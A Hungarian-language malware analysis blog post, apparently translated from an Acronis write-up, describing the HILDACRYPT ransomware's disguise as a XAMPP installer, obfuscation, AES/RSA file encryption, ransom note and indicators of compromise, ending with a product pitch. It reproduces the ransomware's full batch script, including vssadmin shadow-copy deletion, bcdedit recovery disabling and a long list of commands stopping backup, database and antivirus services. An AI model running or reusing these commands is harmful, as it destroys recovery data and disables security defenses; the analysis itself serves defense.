ProHoster > Blog > Adminisztráció > HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

Szia Habr! Ismét a Ransomware kategóriába tartozó rosszindulatú programok legújabb verzióiról beszélünk. A HILDACRYPT egy új zsarolóvírus, a Hilda család tagja, amelyet 2019 augusztusában fedeztek fel, és a Netflix rajzfilmről kapta a nevét, amelyet a szoftver terjesztésére használtak. Ma ennek a frissített ransomware vírusnak a technikai jellemzőivel ismerkedünk.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

A Hilda ransomware első verziójában egy linket tettek közzé a Youtube-on utánfutó rajzfilmsorozatot tartalmazott a váltságdíjlevél. A HILDACRYPT legitim XAMPP telepítőnek álcázza magát, egy könnyen telepíthető Apache disztribúciónak, amely magában foglalja a MariaDB-t, a PHP-t és a Perl-t. Ugyanakkor a cryptolocker más fájlnévvel rendelkezik - xamp. Ezenkívül a ransomware fájl nem rendelkezik elektronikus aláírással.

Statikus elemzés

A zsarolóprogramot egy MS Windows rendszerre írt PE32 .NET fájl tartalmazza. A mérete 135 168 bájt. Mind a fő programkód, mind a védő programkód C#-ban van írva. Az összeállítás dátuma és időbélyege szerint a bináris létrehozása 14. szeptember 2019-én történt.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

A Detect It Easy szerint a ransomware-t a Confuser és a ConfuserEx segítségével archiválják, de ezek az obfuszkátorok ugyanazok, mint korábban, csak a ConfuserEx a Confuser utódja, így a kódaláírásaik is hasonlóak.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

A HILDACRYPT valóban a ConfuserEx-el van csomagolva.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Támadás vektor

Valószínűleg a ransomware-t az egyik webes programozó oldalon fedezték fel, legitim XAMPP-programnak álcázva magát.

A fertőzés teljes láncolata látható app.any.run sandbox.

Elhomályosítás

A ransomware karakterláncokat titkosított formában tároljuk. Indításkor a HILDACRYPT visszafejti őket a Base64 és az AES-256-CBC segítségével.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

Telepítés

Először is, a zsarolóprogram létrehoz egy mappát a %AppDataRoaming% mappában, amelyben a GUID (Globally Unique Identifier) ​​paraméter véletlenszerűen generálódik. Ha egy bat fájlt ad hozzá ehhez a helyhez, a ransomware vírus elindítja azt a cmd.exe segítségével:

cmd.exe /c JKfgkgj3hjgfhjka.bat és kilépés

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokatHILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat
Ezután megkezdi a kötegelt parancsfájl végrehajtását a rendszerfunkciók vagy -szolgáltatások letiltásához.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

A szkript olyan parancsok hosszú listáját tartalmazza, amelyek megsemmisítik az árnyékmásolatokat, letiltják az SQL-kiszolgálót, biztonsági mentési és víruskereső megoldásokat.

Például sikertelenül megpróbálja leállítani az Acronis Backup szolgáltatásait. Ezenkívül a következő gyártók biztonsági mentési rendszereit és víruskereső megoldásait támadja meg: Veeam, Sophos, Kaspersky, McAfee és mások.

@echo off
:: Not really a fan of ponies, cartoon girls are better, don't you think?
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop “Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop “Veeam Backup Catalog Data Service” /
net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop “SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop “Sophos MCS Agent” /y
net stop RESvc /y
net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
del %0

A fent említett szolgáltatások és folyamatok letiltása után a cryptolocker információkat gyűjt az összes futó folyamatról a tasklist paranccsal annak biztosítására, hogy minden szükséges szolgáltatás leálljon.
feladatlista v/fo csv

Ez a parancs a futó folyamatok részletes listáját jeleníti meg, amelyek elemeit „,” jel választja el egymástól.
««csrss.exe»,«448»,«services»,«0»,«1�896 ��»,«unknown»,»�/�»,«0:00:03»,»�/�»»

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

Az ellenőrzés után a zsarolóprogram elindítja a titkosítási folyamatot.

Titkosítás

Fájl titkosítás

A HILDACRYPT átmegy a merevlemezek összes talált tartalmán, kivéve a Recycle.Bin és a Reference AssembliesMicrosoft mappákat. Ez utóbbi kritikus dll, pdb stb. fájlokat tartalmaz .Net alkalmazásokhoz, amelyek befolyásolhatják a zsarolóprogram működését. A titkosított fájlok kereséséhez a következő kiterjesztéseket kell használni:

«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»

A zsarolóprogram az AES-256-CBC algoritmust használja a felhasználói fájlok titkosításához. A kulcs mérete 256 bit, az inicializálási vektor (IV) mérete pedig 16 bájt.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

A következő képernyőképen a byte_2 és a byte_1 értékeit véletlenszerűen kaptuk a GetBytes() segítségével.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

kulcs

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

ÉS

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

A titkosított fájl kiterjesztése HCY!.. Ez egy példa egy titkosított fájlra. A fent említett kulcs és IV ehhez a fájlhoz készült.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

Kulcs titkosítás

A cryptolocker a generált AES kulcsot egy titkosított fájlban tárolja. A titkosított fájl első részének fejléce van, amely olyan adatokat tartalmaz, mint a HILDACRYPT, KEY, IV, FileLen XML formátumban, és így néz ki:

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

Az AES és IV kulcs titkosítása RSA-2048, a kódolás pedig Base64 használatával történik. Az RSA nyilvános kulcsot a cryptolocker törzsében tárolják az egyik titkosított karakterláncban XML formátumban.

28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB

Az AES-fájlkulcs titkosításához nyilvános RSA-kulcsot használnak. Az RSA nyilvános kulcs Base64 kódolású, és egy modulból és egy 65537 nyilvános kitevőből áll. A visszafejtéshez a támadó RSA titkos kulcsa szükséges.

Az RSA-titkosítás után az AES-kulcsot a titkosított fájlban tárolt Base64 kódolja.

Váltságdíj üzenet

A titkosítás befejeztével a HILDACRYPT beírja a html fájlt abba a mappába, amelyben a fájlokat titkosította. A ransomware értesítés két e-mail címet tartalmaz, amelyeken az áldozat kapcsolatba léphet a támadóval.

HILDACRYPT: Új zsarolóprogramok érik a biztonsági mentési rendszereket és a víruskereső megoldásokat

A zsarolási közleményben szerepel a „No loli is safe;)” sor is – utalás a Japánban betiltott kislány megjelenésű anime és manga karakterekre.

Teljesítmény

A HILDACRYPT, egy új ransomware család új verziót adott ki. A titkosítási modell megakadályozza, hogy az áldozat visszafejtse a ransomware által titkosított fájlokat. A Cryptolocker aktív védelmi módszereket használ a biztonsági mentési rendszerekkel és víruskereső megoldásokkal kapcsolatos védelmi szolgáltatások letiltására. A HILDACRYPT szerzője a Netflixen bemutatott Hilda című animációs sorozat rajongója, melynek előzeteséhez mutató link a program előző verziójának kivásárlási levélében volt.

Mint általában, Acronis Backup и Acronis True Image megvédheti számítógépét a HILDACRYPT ransomware ellen, és a szolgáltatók képesek megvédeni ügyfeleit Acronis Backup Cloud. A védelmet az biztosítja, hogy ezek a megoldások tartalmazzák kiberbiztonság nem csak biztonsági mentést, hanem integrált biztonsági rendszerünket is tartalmazza Acronis Active Protection - Gépi tanulási modellen és viselkedési heurisztikán alapuló technológián alapuló technológia, amely minden máshoz hasonlóan képes leküzdeni a nulladik napi zsarolóvírusok fenyegetését.

A kompromisszum jelzői

Fájlkiterjesztés HCY!
HILDACRYPTReadMe.html
xamp.exe egy "p" betűvel, digitális aláírás nélkül
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Forrás: will.com

Hozzászólás